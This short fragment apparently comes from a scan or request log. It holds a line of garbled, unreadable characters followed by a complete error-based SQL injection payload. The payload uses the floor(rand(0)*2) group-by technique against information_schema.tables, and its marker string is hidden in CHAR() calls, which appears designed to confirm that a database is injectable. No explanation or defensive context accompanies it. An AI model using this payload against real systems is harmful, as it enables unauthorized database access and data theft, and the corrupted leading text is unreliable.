�����ڷ������ڷ�

and(select 1 from(select count(*),concat((select concat(CHAR(52),CHAR(67),CHAR(117),CHAR(80),CHAR(119),CHAR(114),CHAR(81),CHAR(118),CHAR(48),CHAR(54),CHAR(80)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)and